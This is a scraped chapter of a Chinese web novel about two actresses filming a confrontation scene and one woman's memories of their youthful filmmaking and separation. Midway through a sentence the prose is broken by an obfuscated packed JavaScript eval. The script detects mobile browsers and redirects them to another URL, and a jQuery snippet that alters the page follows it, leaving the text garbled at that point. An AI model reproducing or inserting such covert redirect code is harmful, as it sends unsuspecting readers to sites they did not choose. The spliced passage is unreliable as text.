默认冷灰
24号文字
方正启体

6. 回忆起

作者:落雪遮阳本书字数:K更新时间:
    第一场戏,拍的便是决裂。


    严洛清抽丝剥茧发现族人之死确与师傅和七大仙门有关。


    这场戏,她设下魂咒阵,引师傅前来,同其对峙。


    此刻,王勉正站在监视器旁,给两人讲戏。


    他是国字脸,五官板正,额间眼角爬满皱纹,但眼神却依旧锐利精光。名导之下,对拍摄都有独特见解。


    拿着卷成筒的剧本,王勉点了支烟,看着锦彤:


    “这场戏情绪要像剥洋葱。你的眼神戏要到位。发现证据那一刻,你是绝望的。师傅是你年少的信仰,可她弑杀成性。你脑海中不段闪过族人的温情,你变得愤怒,迫切要求一个答案。甚至,在设下阵法时,你想过同归于尽。”


    而后,王勉侧过身看司霁:


    “严家对你的迫害是你心底最深的伤疤。你的情绪要收。收得紧,最后崩开越伤人。


    你要注意独白的麻木,那种语调就像陈述客观事实,比如说‘今天下雨了’,平淡无波。但这就是一把钝刀子,割的是你和严洛清两个人。”


    名导讲戏,一开口就知有没有。


    准备就绪,王勉往监视器后一坐,工作人员严阵以待,准备开拍!


    “第一场1镜1次!


    “Action!”


    严洛清奔波多时,素衣赃乱不堪,更因为魂咒阵的反噬,近乎穷途。


    锦彤很快进入情绪,只见她眼眶发红,剑指眼前之人,声音都在颤:“师傅,果然是你!你为什么要这么做!为什么把无辜之人牵扯其中!”


    她向前走了一步,“尚溪严家两百四十口,不也是您的……家人。”


    镜头之下,锦彤步履虚浮,似是强撑一口气。她的肩膀绷得很紧,身影单薄瘦削,剑尖都在颤,好似风一吹便能折断。


    此刻,锦彤就是严洛清。


    镜头给到司霁。


    红衣翻飞,她整个人便是镜头中最肃穆又最深沉的一抹颜色。


    她早已入戏。


    刚从严家余孽所设的绞杀阵逃脱,此刻又被魂咒中伤。


    沽影近乎心死,往事的悲怆让她眼底隔着雾霭,似悲凉如孤寂。


    “我的……家人?”


    司霁抬手擦掉唇边血渍,那双眼睛猩红,几近入魔般妖冶。可语气确难掩悲凉,明明是平淡的陈述,却听得让人心惊:


    “是在我母亲难产死后,放任我与野狗争食、被撕咬得没一块好皮的家人;”


    “是在祭剑台上,用铁链锁住我,让火焰吞噬我神魂的家人;”


    “还是在我生辰将我抽魂刻印,变成祭剑品的家人。”


    特写镜头下,那张明艳的脸上,死如冷灰,平静地瞧不出任何情绪。空洞的麻木,轻松的陈述,甚至说完,司霁唇角还漾出一丝嘲讽的弧度。


    可这样沉郁的气息却像一阵风,压到片场每个人身上。工作人员好似都被带到那片沉闷之地,亲眼看着那小小的孩童饱受折磨。


    反噬太严重,她踉跄着几近跪地。


    工作人员下意识屏住了呼吸。


    “你说家人——是要我数数身上二十五道剑痕,哪道来自父亲,哪道流着至亲的血温?”


    雨幕倾洒,红衣大袖飘风之下,司霁伪装的面具终是松散,她唇角那抹弧度不断扩大,几乎从喉咙溢出一抹干涩绝望的笑。


    “我其实,羡慕你。”


    而后,她抬眸看着严洛清,特写镜头下,一滴血泪从她眼眶溢出。浓稠地、血腥地。


    这一幕,凄凉又绝美。


    而不远处的锦彤似也看到了那幼小孩童饱受折磨,震惊、心疼、无措、苦闷、痛恨,不断拉扯着她的思绪。而这些情感,都能从她的眼神中渐渐品味。


    王勉坐直了身体,意外地挑了下眉。


    这俩人的对手戏,有点意思。


    “好,保一条!”


    保一条的意思是,导演觉得很不错,可以作为后期剪辑的有效素材。


    “换个机位拍特写!”


    王勉发话后,现场气氛松了不少,工作人员对演员的水准有了大致判断。


    演员对手戏一场戏三四个小时是常有。在剧组,很少碰到磨合期都没有,便能火花四溅的演员。


    而司霁和锦彤,却是这样的存在。


    真不可思议。


    而不远处,角落里,正坐着一个人。


    她穿着西装,内搭黑色吊带裙,脖颈纤细修长,隐约露出一截嶙峋锁骨,长发垂落下,腰肢不堪一握。


    白疏汀的眉眼生得极淡,像冬日的一捧雪,又似山涧潺潺的溪流,冷冽气息扑面,也透着清高疏离。


    而此刻,她正一眨不眨地盯着不远处的监视器。


    司霁都特写镜头被不断回放,极致明艳的面旁,极致破碎的氛围,那抹血泪滴落,透着惊心动魄的美感。


    白疏汀看入了神。


    然而,毫无预兆地,眼前兀地裂开一道缝。


    脑海中的记忆涌出来。


    那身红衣,不知怎的,就褪色变形,成了南加州公寓里,笔记本电脑上循环播放的、像素粗糙的旧日影像。


    那也是司霁。年纪要小得多。


    她穿着宽大的蓝白校服,举着DV相机。镜头不太稳,画面摇晃之际,正对着镜头后的自己做鬼脸,她笑起来很漂亮,眼睛弯弯似月牙。背景音是她带着软糯撒娇意味的声音:“白疏汀,你别动嘛!这个光影特别好,我要拍下来当素材!以后我们第一部电影,就用这个色调开头,好不好?”


    “好。”


    记忆里,年少的自己这样回答,声音带着一丝不易察觉的纵容。


    记忆的闸门一旦松开,那些情绪便汹涌而至,带着那个年纪特有的、混着青草阳光的朝气。


    镜头外的白疏汀,不是单纯的拍摄者。更多时候,是司霁举着DV,镜头追随她。


    拍她在图书馆窗边看书,浓密长睫翕动下投出的淡淡阴影;拍她在天台边感受微风时,被风吹得鼓起的校服;甚至拍她冷淡的容颜,微微蹙眉修复老式胶片相机时,鼻尖沁出的小汗珠。


    “白疏汀,你知不知道你思考的时候,这里会动。”司霁的指尖隔着屏幕,虚点她的眉心。白疏汀缓缓抬头,撞入司霁那双清凌凌的眼眸,那瞳孔里映衬着小小的自己。她不习惯被这样直白观察,心底好似被人不轻不重地捏了下,酥酥麻麻的。下意识想躲避镜头,司霁却立刻嚷起来,软糯像在撒娇:“别动别动嘛!你听我的,这个光影绝了!忧郁天才少女,以后我们电影主角就得有这个氛围!”


    两人的“片场”无处不在。放学后空教室用粉笔画走位;学校后大片花园是外景地,琢磨如何利用黄昏光影;甚至挤在公交车上,两人也会观察“众生相”、不断记录迸发出的灵感台词。司霁太明媚太热烈,她总有奇思妙想、敢于尝试,像太阳,而白疏汀则更沉稳内敛,将司霁天马行空的想象,拉回可实现的光影与叙事逻辑,像疏淡的月光。


    当情感达到一定浓度,连依赖是无声的。


    白疏汀的笔袋里永远有备用笔。因为司霁总是丢三落四,尤其文具。两人一起看书,每当司霁低头翻找,白疏汀便了然地把笔找出来放在她书上,动作熟稔自然。司霁再抬头,白疏汀又恢复那副平静无波的样子。


    白疏汀冷脸的时候其实很不好靠近,可偏偏司霁总能捕捉那面


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288272|198473||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    具之下的柔和目光,像细腻的水,涤荡人心。司霁的嘴角忍不住一点点翘起来,一种被稳稳接住的妥帖感卷上心头。司霁没说话,只是身体软软地、得寸进尺地朝白疏汀靠过去,体温透过薄薄的校服传递。


    直到她的下巴搭在白疏汀肩上,清苦的木质冷香包裹着她,她开口,带着百分之百的恃宠而骄:


    “阿汀,你最好了。”


    可下一秒,温存破裂!


    不知什么时候,司霁站在离她很远的位置,暖黄的路灯照在她苍白的脸上,她眼眶发红,红血丝满布,声音透着委屈愤怒:


    “白疏汀——”


    “我最讨厌你!”


    而后,她的身影逐渐消散在路灯下,白疏汀知道那是她们的倒数第二面。她向前跑去,企图拥抱住那抹身影。


    记忆却被粗暴地扯向另一个渡口。


    依旧是那台笔计本电脑的光,冷冷映在异国公寓墙上。屏幕里依旧是司霁明媚的笑脸,热烈似太阳。而现实中的自己,蜷缩成一团,裹着被子。高烧之下意识模糊,唯有眼睛干涩地睁着,一遍遍看这偷来的、不变的过去。


    窗外是圣诞颂歌,窗内是停滞的时光。那时她想,如果电影有颜色,那司霁定义的部分,一定是暖的亮的。


    那是她来南加州大学的第二年。


    异国他乡的漂泊,白疏汀睡眠质量变得很差。几乎整夜整夜睡不着。


    高考前司霁转学后,彻底消失在她生命中。也没有报考导演专业。


    她不知道司霁的消息,司霁也从未踏入过她的梦境。


    白疏汀想,司霁大概心里是怨恨她的,所以连这点虚幻的慰藉,也不肯施舍。


    今天是她的生日,公寓停水停电,祸不单行又发了高烧,勉强取回外卖,她便瘫回床上,在冰冷与灼热夹击下意识模糊。


    然后,司霁来了。


    梦里的她比记忆中更清晰,眉眼长开了,褪去稚气,成了一种惊心动魄的漂亮。


    只见她神色焦急,用手探白疏汀的额头,而后转身要去拿药倒水。


    病痛将一切脆弱情绪放大,白疏汀几乎下意识拽住司霁的手腕,攥得很紧。好似怕一松手,这抹幻影便会消失不见。


    她盯了她很久很久,直到眼睛干涩,直到一滴滚烫热泪不禁意从白疏汀眼角滑落。砸在“司霁”的手背上。


    “阿霁”,


    白疏汀忍不住,另一只手托住司霁后脑,两人几乎鼻息对着鼻息,她说了那句一直埋在心底的话,


    “我很想你。”


    你能不能


    不要走。


    中间又发生了什么,白疏汀记不真切。


    等再转醒,梦境逼真得让她心悸。


    甚至于她心底腾升出一丝可耻卑微的期待。


    客厅忽地传来响动,白疏汀心脏狂跳,匆忙理了理汗湿的头发,隐去狼狈,便跑了出去。


    她甚至没来得及穿拖鞋。


    然而,刚到客厅,却浑身一僵。


    门外站着的,只是前来探病的友人。


    眼底浮动的碎光,在那瞬间寂灭。友人摸不着头脑,见她反常,还问了句,怎么了。白疏汀垂下眼睫,过了两秒,只轻声道:“做了个梦。”


    现实中工作人员哄闹声传来,记忆如潮水般骤然退却,只余片场刺目的灯光和一身红衣的司霁。


    尘封经年的往事,那份钻心刻苦的遗憾与经年找寻,都被这场光与影轻易勾出,横亘在两人之间。


    她们之间隔着的,又何止是五个春夏秋冬。


    白疏汀站起身,从侧面穿过,还没走几步,忽地,旁边一道惊呼:


    “小心!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)